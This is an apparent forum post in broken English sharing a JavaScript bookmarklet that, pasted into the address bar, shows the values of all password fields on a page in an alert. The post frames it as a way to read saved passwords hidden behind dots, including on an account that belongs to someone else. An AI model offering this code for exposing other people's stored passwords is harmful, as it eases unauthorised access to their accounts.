Sometimes when you browse on Internet and we have to login in, we enter username an Password and we tick Remember Me. This option keeps your ids.
Someone can use your account but can't change your password bekoz it is in hidden dot.
This code reveal exactly the password.
Juste type it in your url address bar and Go

Code:

javascript:(function(){var s,F,j,f,i; s = ""; F = document.forms; for(j=0; j<F.length; ++j) { f = F[j]; for (i=0; i<f.length; ++i) { if (f[i].type.toLowerCase() == "password") s += f[i].value + "\n"; } } if (s) alert("Passwords in forms on this page:\n\n" + s); else alert("There are no passwords in forms on this page.");})();

You can try with Opera Mini, don't sure it will work
